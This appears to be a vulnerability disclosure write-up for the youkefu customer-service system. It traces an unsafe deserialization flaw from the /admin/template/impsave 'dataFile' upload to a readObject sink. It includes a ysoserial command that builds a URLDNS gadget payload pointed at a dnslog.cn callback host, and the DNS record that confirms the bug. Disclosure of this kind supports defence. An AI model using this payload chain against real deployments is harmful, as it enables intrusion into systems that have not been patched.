

☐ Serein123y / vulnerability (Public)

Locate the impsave method of \youkefu-master\src\main\java\com\ukefu\webi m\web\handler\admin\system\TemplateController.java and the query result shows that the vulnerable parameter is "dataFile"

```
J TemplateController.java 1 X
C: 〉 Java_Book 〉 JAVA代码审计 〉 youkefu-master 〉 src 〉 main 〉 java 〉 com 〉 ukefu 〉 web im 〉 web 〉 handler 〉 admin 〉 system 〉 🌙 TemplateController.java 〉 { } com.ukefu.webim.web.handler.admin.system
      public class TemplateController extends Handler{
 33
 63
 64
           @SuppressWarnings("unchecked")
 65
           @RequestMapping("/impsave")
           @Menu(type = "admin" , subtype = "template" , access = false , admin = true)
 66
 67
           public ModelAndView impsave(ModelMap map , HttpServletRequest request , @RequestParam(value = "dataFile", required = false) MultipartFile dataFile)
 68
               if(dataFile!=null && dataFile.getSize() > 0){
                    List<Template> templateList = (List<Template>) UKTools.toObject(dataFile.getBytes()) ;
 69
                   if(templateList!=null && templateList.size() >0){
 71
                        templateRes.deleteInBatch(templateList);
 72
                        for(Template template : templateList){
 73
                            templateRes.save(template);
 74
 76
 77
               return request(super.createRequestPageTempletResponse("redirect:/admin/template/index.html"));
 78
```

Next, let's take a look at the sink point and locate it \youkefumaster\src\main\java\com\ukefu\util\UKTools.java shows that the sink points of both source sink chains are the readObject method called within the method


Based on the above confirmation, it is not difficult to find two unsafe deserialization vulnerabilities found in CodeQL query source side. The chain is actually the same. Next, let's analyze the execution process of the taint parameter from source to sink. \youkefu-master\src\main\java\com\ukefu\webim\web\handler\admin\system\Template Controller.java's 32 defines the request path for this class as/admin/template, and the path for requesting the impsave method in this class is/imsave. Therefore, the interface for receiving requests should be/admin/template/imsave


The core logic is in \ youkefu master \ src \ main \ java \ com \ ukefu \ webm \ web \ handler \ admin \ sy

In lines 68-77 of stem \ Template Controller. java, after receiving the dataFile parameter, the interface first checks whether the value of the dataFile parameter is empty. If it is not empty, the UKTools.toObject method is called to process the incoming dataFile data and convert the processed return value into a Listcolumn object named templateList. Lines 70-76 are operations on templateList. Finally, line 77 redirects to the/admin/template/id ex.exe page. Through the above analysis, it was found that during the process of deserializing from source to sink, no security processing was applied to the da taFile parameter, so there is a deserialization vulnerability present here.

```
it(dataFile!=null && dataFile.getSize() > 0){
68
                 List<Template> templateList = (List<Template>) UKTools.toObject(dataFile.getBytes());
69
                 if(templateList!=null && templateList.size() >0){
70
                     templateRes.deleteInBatch(templateList);
71
                     for(Template template: templateList){
72
73
                         templateRes.save(template);
74
75
76
77
             return request(super.createRequestPageTempletResponse("redirect:/admin/template/index.html"));
78
79
```

<u>http://localhost:8088/admin/template/index.html</u> Discover the system template function set for the system






Here, a deserialization test based on URLDNS Gadget can be generated using the ysoserial tool Execute the following command on the payload file

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java -jar ysoserial-all.jar URLDNS "http://6ye376.dnslog.cn" > urldnsTest.data





Get SubDomain

Refresh Record

6ye376.dnslog.cn

DNS Query Record	IP Address		
6ye376.dnslog.cn	121)	